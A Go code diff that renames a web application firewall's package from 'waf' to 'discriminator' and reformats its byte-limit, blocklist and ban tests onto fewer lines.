@@ -378,18 +335,13 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
|
|||||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||||
// says, with a GeoJS that never answers.
|
// says, with a GeoJS that never answers.
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
|
lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
|
||||||
})
|
})
|
||||||
began := time.Now()
|
began := time.Now()
|
||||||
|
|
||||||
serveFromDE(
|
serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
|
||||||
t,
|
|
||||||
server,
|
|
||||||
http.MethodPost,
|
|
||||||
strings.NewReader("ab"),
|
|
||||||
)
|
|
||||||
|
|
||||||
want := time.Duration(0)
|
want := time.Duration(0)
|
||||||
if tc.waits {
|
if tc.waits {
|
||||||
@@ -397,19 +349,10 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if waited := time.Since(began); waited != want {
|
if waited := time.Since(began); waited != want {
|
||||||
t.Errorf(
|
t.Errorf("the request waited %s for its answer, want %s", waited, want)
|
||||||
"the request waited %s for its answer, want %s",
|
|
||||||
waited,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantLine(
|
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
|
||||||
t,
|
|
||||||
out.requestLine(t),
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
|
|
||||||
// The bubble's clock stops once this function returns, so the
|
// The bubble's clock stops once this function returns, so the
|
||||||
// request to GeoJS, which a request that did not wait leaves
|
// request to GeoJS, which a request that did not wait leaves
|
||||||
@@ -420,9 +363,7 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
|
func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -464,8 +405,8 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
|
|||||||
s.uploadFrom(fromDE)
|
s.uploadFrom(fromDE)
|
||||||
}
|
}
|
||||||
|
|
||||||
s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader,
|
s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, uploadBody,
|
||||||
uploadBody, tc.status, tc.action)
|
tc.status, tc.action)
|
||||||
|
|
||||||
held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
|
held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
|
||||||
if len(held) != 1 {
|
if len(held) != 1 {
|
||||||
@@ -474,11 +415,7 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
|
|||||||
|
|
||||||
notes := held[0].Notes
|
notes := held[0].Notes
|
||||||
if held[0].Reason != tc.reason {
|
if held[0].Reason != tc.reason {
|
||||||
t.Errorf(
|
t.Errorf("the ban's reason is %q, want %q", held[0].Reason, tc.reason)
|
||||||
"the ban's reason is %q, want %q",
|
|
||||||
held[0].Reason,
|
|
||||||
tc.reason,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantPercent(t, "the notes' limit_percent", notes.LimitPercent,
|
wantPercent(t, "the notes' limit_percent", notes.LimitPercent,
|
||||||
@@ -486,21 +423,12 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
|
|||||||
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != 1 {
|
if len(waiting) != 1 {
|
||||||
t.Fatalf(
|
t.Fatalf("%d alerts wait, want the ban's alone: %+v", len(waiting), waiting)
|
||||||
"%d alerts wait, want the ban's alone: %+v",
|
|
||||||
len(waiting),
|
|
||||||
waiting,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
alerted, _ := waiting[0].Detail["notes"].(bans.Notes)
|
alerted, _ := waiting[0].Detail["notes"].(bans.Notes)
|
||||||
wantPercent(
|
wantPercent(t, "the alert's notes' limit_percent", alerted.LimitPercent,
|
||||||
t,
|
alerted.LimitPercentSetting, tc.want)
|
||||||
"the alert's notes' limit_percent",
|
|
||||||
alerted.LimitPercent,
|
|
||||||
alerted.LimitPercentSetting,
|
|
||||||
tc.want,
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -509,7 +437,7 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
|
|||||||
// clock.
|
// clock.
|
||||||
func startWithLookups(
|
func startWithLookups(
|
||||||
t *testing.T, env map[string]string,
|
t *testing.T, env map[string]string,
|
||||||
) (*sender, *waf.Server, *alerts.Queue) {
|
) (*sender, *discriminator.Server, *alerts.Queue) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
s, _, server, queue := startWithLookupsAndClock(t, env)
|
s, _, server, queue := startWithLookupsAndClock(t, env)
|
||||||
@@ -524,7 +452,7 @@ func startWithLookups(
|
|||||||
// country, and no other address.
|
// country, and no other address.
|
||||||
func startWithLookupsAndClock(
|
func startWithLookupsAndClock(
|
||||||
t *testing.T, env map[string]string,
|
t *testing.T, env map[string]string,
|
||||||
) (*sender, *clock, *waf.Server, *alerts.Queue) {
|
) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
||||||
@@ -534,10 +462,7 @@ func startWithLookupsAndClock(
|
|||||||
noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"},
|
noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"},
|
||||||
})
|
})
|
||||||
|
|
||||||
settings := map[string]string{
|
settings := map[string]string{lookupSource: fileSource, lookupDBPath: path}
|
||||||
lookupSource: fileSource,
|
|
||||||
lookupDBPath: path,
|
|
||||||
}
|
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
return startAppWithAlerts(t, readAndAnswer, settings)
|
return startAppWithAlerts(t, readAndAnswer, settings)
|
||||||
@@ -547,15 +472,8 @@ func startWithLookupsAndClock(
|
|||||||
func (s *sender) uploadFrom(from string) logLine {
|
func (s *sender) uploadFrom(from string) logLine {
|
||||||
s.t.Helper()
|
s.t.Helper()
|
||||||
|
|
||||||
line, _ := s.requestWithBody(
|
line, _ := s.requestWithBody(http.MethodPost, from, "/", uploadHeader, uploadBody,
|
||||||
http.MethodPost,
|
http.StatusOK, requestlog.ActionForward)
|
||||||
from,
|
|
||||||
"/",
|
|
||||||
uploadHeader,
|
|
||||||
uploadBody,
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
|
|
||||||
return line
|
return line
|
||||||
}
|
}
|
||||||
@@ -564,12 +482,12 @@ func (s *sender) uploadFrom(from string) logLine {
|
|||||||
// straight to server's handler, without the network, and returns once it is
|
// straight to server's handler, without the network, and returns once it is
|
||||||
// answered.
|
// answered.
|
||||||
func serveFromDE(
|
func serveFromDE(
|
||||||
t *testing.T, server *waf.Server, method string, body io.Reader,
|
t *testing.T, server *discriminator.Server, method string, body io.Reader,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(t.Context(), method, "/", body)
|
req := httptest.NewRequestWithContext(t.Context(), method, "/", body)
|
||||||
req.Header.Set(waf.ClientHeader, fromDE)
|
req.Header.Set(discriminator.ClientHeader, fromDE)
|
||||||
req.Header.Set(requestIDHeader, "the-id")
|
req.Header.Set(requestIDHeader, "the-id")
|
||||||
|
|
||||||
server.Handler.ServeHTTP(httptest.NewRecorder(), req)
|
server.Handler.ServeHTTP(httptest.NewRecorder(), req)
|
||||||
@@ -578,12 +496,7 @@ func serveFromDE(
|
|||||||
// wantPercent checks a limit percentage that a log line or a ban's notes
|
// wantPercent checks a limit percentage that a log line or a ban's notes
|
||||||
// give, what, and the setting that gave it, against want, as percentText
|
// give, what, and the setting that gave it, against want, as percentText
|
||||||
// gives them.
|
// gives them.
|
||||||
func wantPercent(
|
func wantPercent(t *testing.T, what string, percent *int64, setting, want string) {
|
||||||
t *testing.T,
|
|
||||||
what string,
|
|
||||||
percent *int64,
|
|
||||||
setting, want string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if got := percentText(percent, setting); got != want {
|
if got := percentText(percent, setting); got != want {
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic blocklists. It reads SWW_BLOCKLIST_ACTION, and the blocklists
|
// The heuristic blocklists. It reads SWW_BLOCKLIST_ACTION, and the blocklists
|
||||||
// through the reputation lists.
|
// through the reputation lists.
|
||||||
@@ -18,11 +18,7 @@ type blocklists struct{}
|
|||||||
|
|
||||||
func (blocklists) name() string { return "blocklists" }
|
func (blocklists) name() string { return "blocklists" }
|
||||||
|
|
||||||
func (blocklists) check(
|
func (blocklists) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||||
_ context.Context,
|
|
||||||
rq *request,
|
|
||||||
_ time.Time,
|
|
||||||
) *verdict {
|
|
||||||
listedBy := rq.h.lists.ListedBy(rq.client)
|
listedBy := rq.h.lists.ListedBy(rq.client)
|
||||||
rq.blocklisted = len(listedBy) > 0
|
rq.blocklisted = len(listedBy) > 0
|
||||||
rq.noteListed(listedBy, "listed by a blocklist")
|
rq.noteListed(listedBy, "listed by a blocklist")
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic byte_limits. It reads SWW_BYTES_COUNT, and the byte limits
|
// The heuristic byte_limits. It reads SWW_BYTES_COUNT, and the byte limits
|
||||||
// and biased thresholds through the limiter and limitPercentages.
|
// and biased thresholds through the limiter and limitPercentages.
|
||||||
@@ -20,21 +20,13 @@ type byteLimits struct{}
|
|||||||
|
|
||||||
func (byteLimits) name() string { return "byte_limits" }
|
func (byteLimits) name() string { return "byte_limits" }
|
||||||
|
|
||||||
func (byteLimits) check(
|
func (byteLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||||
_ context.Context,
|
|
||||||
rq *request,
|
|
||||||
now time.Time,
|
|
||||||
) *verdict {
|
|
||||||
if !rq.counted || rq.line.WouldAction != "" {
|
if !rq.counted || rq.line.WouldAction != "" {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
counts, hit, over := rq.h.limiter.CountBytes(
|
counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
|
||||||
rq.h.clientGroup(rq.client),
|
rq.countedBytes(), rq.bytesLimitPercent.percent)
|
||||||
now,
|
|
||||||
rq.countedBytes(),
|
|
||||||
rq.bytesLimitPercent.percent,
|
|
||||||
)
|
|
||||||
rq.line.Counts.MinuteBytes = counts.MinuteBytes
|
rq.line.Counts.MinuteBytes = counts.MinuteBytes
|
||||||
rq.line.Counts.HourBytes = counts.HourBytes
|
rq.line.Counts.HourBytes = counts.HourBytes
|
||||||
rq.line.Counts.DayBytes = counts.DayBytes
|
rq.line.Counts.DayBytes = counts.DayBytes
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"bufio"
|
"bufio"
|
||||||
@@ -67,11 +67,8 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
|
|||||||
// 70 bytes are within the limit of 99.
|
// 70 bytes are within the limit of 99.
|
||||||
line, _ := s.download()
|
line, _ := s.download()
|
||||||
if line.LimitHit != "" || line.Offence != "" {
|
if line.LimitHit != "" || line.Offence != "" {
|
||||||
t.Errorf(
|
t.Errorf("log line has limit_hit %q and offence %q, want neither",
|
||||||
"log line has limit_hit %q and offence %q, want neither",
|
line.LimitHit, line.Offence)
|
||||||
line.LimitHit,
|
|
||||||
line.Offence,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 140 bytes are over it. The response is passed on whole, and
|
// 140 bytes are over it. The response is passed on whole, and
|
||||||
@@ -82,35 +79,18 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
|
|||||||
line, got := s.download()
|
line, got := s.download()
|
||||||
if got.err != nil || len(got.body) != answerBytes ||
|
if got.err != nil || len(got.body) != answerBytes ||
|
||||||
line.ResponseBytes != answerBytes {
|
line.ResponseBytes != answerBytes {
|
||||||
t.Errorf(
|
t.Errorf("got %d bytes (%v), and the log line has response_bytes %d, "+
|
||||||
"got %d bytes (%v), and the log line has response_bytes %d, "+
|
"want %d", len(got.body), got.err, line.ResponseBytes, answerBytes)
|
||||||
"want %d",
|
|
||||||
len(got.body),
|
|
||||||
got.err,
|
|
||||||
line.ResponseBytes,
|
|
||||||
answerBytes,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if line.LimitHit != tc.window+"_bytes" ||
|
if line.LimitHit != tc.window+"_bytes" || line.Offence != requestlog.OffenceLimit ||
|
||||||
line.Offence != requestlog.OffenceLimit ||
|
|
||||||
line.BanExpires != expires {
|
line.BanExpires != expires {
|
||||||
t.Errorf(
|
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
|
||||||
"log line has limit_hit %q, offence %q and ban_expires %q, "+
|
"want %s_bytes, limit and %s", line.LimitHit, line.Offence,
|
||||||
"want %s_bytes, limit and %s",
|
line.BanExpires, tc.window, expires)
|
||||||
line.LimitHit,
|
|
||||||
line.Offence,
|
|
||||||
line.BanExpires,
|
|
||||||
tc.window,
|
|
||||||
expires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
s.get(
|
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
client,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
|
|
||||||
wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+
|
wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+
|
||||||
`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
|
`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
|
||||||
@@ -121,10 +101,7 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
|
|||||||
func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _ := startWithAnswers(
|
s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: byteLimit})
|
||||||
t,
|
|
||||||
map[string]string{bytesLimitPerMinute: byteLimit},
|
|
||||||
)
|
|
||||||
|
|
||||||
line, _ := s.download()
|
line, _ := s.download()
|
||||||
wantAfterAnswerHeuristic(t, line, "", "null")
|
wantAfterAnswerHeuristic(t, line, "", "null")
|
||||||
@@ -143,16 +120,9 @@ func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
|
|||||||
|
|
||||||
// The answer's 70 bytes are over the limit of 50 on their own.
|
// The answer's 70 bytes are over the limit of 50 on their own.
|
||||||
line, got := s.download()
|
line, got := s.download()
|
||||||
if got.err != nil || len(got.body) != answerBytes ||
|
if got.err != nil || len(got.body) != answerBytes || line.LimitHit != minuteBytes {
|
||||||
line.LimitHit != minuteBytes {
|
t.Errorf("got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
|
||||||
t.Errorf(
|
len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes)
|
||||||
"got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
|
|
||||||
len(got.body),
|
|
||||||
got.err,
|
|
||||||
line.LimitHit,
|
|
||||||
answerBytes,
|
|
||||||
minuteBytes,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
@@ -168,27 +138,13 @@ func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
|
|||||||
|
|
||||||
// The 70 bytes passed on before the app broke off are over the limit of
|
// The 70 bytes passed on before the app broke off are over the limit of
|
||||||
// 50, and ban the client for an hour.
|
// 50, and ban the client for an hour.
|
||||||
line, got := s.requestWithBody(
|
line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
|
||||||
http.MethodGet,
|
requestlog.ActionForward)
|
||||||
client,
|
|
||||||
"/",
|
|
||||||
"",
|
|
||||||
"",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
if len(got.body) != answerBytes || line.LimitHit != minuteBytes ||
|
if len(got.body) != answerBytes || line.LimitHit != minuteBytes ||
|
||||||
line.BanExpires != expires {
|
line.BanExpires != expires {
|
||||||
t.Errorf(
|
t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
|
||||||
"got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
|
"want %d, %s and %s", len(got.body), line.LimitHit, line.BanExpires,
|
||||||
"want %d, %s and %s",
|
answerBytes, minuteBytes, expires)
|
||||||
len(got.body),
|
|
||||||
line.LimitHit,
|
|
||||||
line.BanExpires,
|
|
||||||
answerBytes,
|
|
||||||
minuteBytes,
|
|
||||||
expires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
@@ -208,33 +164,19 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
|
|||||||
t.Run(tc.setting, func(t *testing.T) {
|
t.Run(tc.setting, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _, _ := startAppWithAlerts(
|
s, _, _, _ := startAppWithAlerts(t, answerAfterUpgrade, map[string]string{
|
||||||
t,
|
bytesLimitPerMinute: "29", bytesCount: tc.setting,
|
||||||
answerAfterUpgrade,
|
})
|
||||||
map[string]string{
|
|
||||||
bytesLimitPerMinute: "29", bytesCount: tc.setting,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
|
|
||||||
// The client sends 30 bytes and the app 70, each over the limit
|
// The client sends 30 bytes and the app 70, each over the limit
|
||||||
// of 29, which bans the client once the WebSocket has closed.
|
// of 29, which bans the client once the WebSocket has closed.
|
||||||
line := s.webSocket()
|
line := s.webSocket()
|
||||||
if line.LimitHit != minuteBytes ||
|
if line.LimitHit != minuteBytes || line.Counts.MinuteBytes != tc.counted {
|
||||||
line.Counts.MinuteBytes != tc.counted {
|
t.Errorf("log line has limit_hit %q and minute_bytes %v, want %s and %v",
|
||||||
t.Errorf(
|
line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted)
|
||||||
"log line has limit_hit %q and minute_bytes %v, want %s and %v",
|
|
||||||
line.LimitHit,
|
|
||||||
line.Counts.MinuteBytes,
|
|
||||||
minuteBytes,
|
|
||||||
tc.counted,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
s.get(
|
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
client,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -269,25 +211,14 @@ func TestBytesCountSaysWhichBytesCount(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
counted := float64(i) * tc.each
|
counted := float64(i) * tc.each
|
||||||
if line.LimitHit != want ||
|
if line.LimitHit != want || line.Counts.MinuteBytes != counted {
|
||||||
line.Counts.MinuteBytes != counted {
|
t.Errorf("request %d: log line has limit_hit %q and minute_bytes %v, "+
|
||||||
t.Errorf(
|
"want %q and %v", i, line.LimitHit, line.Counts.MinuteBytes,
|
||||||
"request %d: log line has limit_hit %q and minute_bytes %v, "+
|
want, counted)
|
||||||
"want %q and %v",
|
|
||||||
i,
|
|
||||||
line.LimitHit,
|
|
||||||
line.Counts.MinuteBytes,
|
|
||||||
want,
|
|
||||||
counted,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
s.get(
|
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
client,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -312,24 +243,11 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
|
|||||||
{allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"},
|
{allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"},
|
||||||
} {
|
} {
|
||||||
for range 2 {
|
for range 2 {
|
||||||
line, _ := s.requestWithBody(
|
line, _ := s.requestWithBody(http.MethodPost, sent.from, sent.path,
|
||||||
http.MethodPost,
|
uploadHeader, uploadBody, http.StatusOK, requestlog.ActionForward)
|
||||||
sent.from,
|
if _, counted := line.fields["counts"]; counted || line.LimitHit != "" {
|
||||||
sent.path,
|
t.Errorf("%s %s: log line has counts %v and limit_hit %q, want neither",
|
||||||
uploadHeader,
|
sent.from, sent.path, line.fields["counts"], line.LimitHit)
|
||||||
uploadBody,
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
if _, counted := line.fields["counts"]; counted ||
|
|
||||||
line.LimitHit != "" {
|
|
||||||
t.Errorf(
|
|
||||||
"%s %s: log line has counts %v and limit_hit %q, want neither",
|
|
||||||
sent.from,
|
|
||||||
sent.path,
|
|
||||||
line.fields["counts"],
|
|
||||||
line.LimitHit,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -337,11 +255,7 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
|
|||||||
// A path that is not exempt is counted, and breaks the limit.
|
// A path that is not exempt is counted, and breaks the limit.
|
||||||
line := s.upload()
|
line := s.upload()
|
||||||
if line.LimitHit != minuteBytes {
|
if line.LimitHit != minuteBytes {
|
||||||
t.Errorf(
|
t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
|
||||||
"log line has limit_hit %q, want %s",
|
|
||||||
line.LimitHit,
|
|
||||||
minuteBytes,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -358,14 +272,9 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
|
|||||||
counted := float64(i * (bodyBytes + answerBytes))
|
counted := float64(i * (bodyBytes + answerBytes))
|
||||||
if line.LimitHit != "" || line.Counts.MinuteBytes != counted ||
|
if line.LimitHit != "" || line.Counts.MinuteBytes != counted ||
|
||||||
line.Counts.HourBytes != counted || line.Counts.DayBytes != counted {
|
line.Counts.HourBytes != counted || line.Counts.DayBytes != counted {
|
||||||
t.Errorf(
|
t.Errorf("request %d: log line has limit_hit %q and counts %+v, "+
|
||||||
"request %d: log line has limit_hit %q and counts %+v, "+
|
"want none and %v bytes in each window", i, line.LimitHit,
|
||||||
"want none and %v bytes in each window",
|
line.Counts, counted)
|
||||||
i,
|
|
||||||
line.LimitHit,
|
|
||||||
line.Counts,
|
|
||||||
counted,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -373,24 +282,13 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
|
|||||||
func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
|
func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, server, queue := startAppWithAlerts(
|
s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
||||||
t,
|
bytesLimitPerMinute: byteLimit,
|
||||||
readAndAnswer,
|
})
|
||||||
map[string]string{
|
|
||||||
bytesLimitPerMinute: byteLimit,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
|
|
||||||
s.requestWithBody(
|
s.requestWithBody(http.MethodPost, client, "/upload?part=1", uploadHeader,
|
||||||
http.MethodPost,
|
uploadBody, http.StatusOK, requestlog.ActionForward)
|
||||||
client,
|
|
||||||
"/upload?part=1",
|
|
||||||
uploadHeader,
|
|
||||||
uploadBody,
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
|
|
||||||
netblock := netip.MustParsePrefix(client + "/32")
|
netblock := netip.MustParsePrefix(client + "/32")
|
||||||
want := bans.Ban{
|
want := bans.Ban{
|
||||||
@@ -433,14 +331,10 @@ func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
|
|||||||
func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
|
func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, server, queue := startAppWithAlerts(
|
s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
||||||
t,
|
mode: observe,
|
||||||
readAndAnswer,
|
bytesLimitPerMinute: byteLimit,
|
||||||
map[string]string{
|
})
|
||||||
mode: observe,
|
|
||||||
bytesLimitPerMinute: byteLimit,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
|
|
||||||
// No ban sets the client's counters back to zero, so each request
|
// No ban sets the client's counters back to zero, so each request
|
||||||
@@ -450,17 +344,11 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
|
|||||||
line := s.upload()
|
line := s.upload()
|
||||||
wantWouldAction(t, line, "")
|
wantWouldAction(t, line, "")
|
||||||
|
|
||||||
if line.LimitHit != minuteBytes ||
|
if line.LimitHit != minuteBytes || line.Offence != requestlog.OffenceLimit ||
|
||||||
line.Offence != requestlog.OffenceLimit ||
|
|
||||||
line.BanExpires != "" {
|
line.BanExpires != "" {
|
||||||
t.Errorf(
|
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
|
||||||
"log line has limit_hit %q, offence %q and ban_expires %q, "+
|
"want %s, limit and none", line.LimitHit, line.Offence, line.BanExpires,
|
||||||
"want %s, limit and none",
|
minuteBytes)
|
||||||
line.LimitHit,
|
|
||||||
line.Offence,
|
|
||||||
line.BanExpires,
|
|
||||||
minuteBytes,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -475,18 +363,14 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
|
|||||||
|
|
||||||
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
|
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
|
||||||
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
|
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
|
||||||
Netblock: netip.MustParsePrefix(
|
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
|
||||||
client + "/32",
|
|
||||||
), Cause: bans.CauseLimit,
|
|
||||||
Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes,
|
Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes,
|
||||||
}, requestlog.FormatTime(start.Add(time.Hour)))
|
}, requestlog.FormatTime(start.Add(time.Hour)))
|
||||||
alert.Detail["mode"] = observe
|
alert.Detail["mode"] = observe
|
||||||
wantAlerts(t, queue, alert)
|
wantAlerts(t, queue, alert)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(
|
func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _ := startWithAnswers(t, map[string]string{
|
s, _ := startWithAnswers(t, map[string]string{
|
||||||
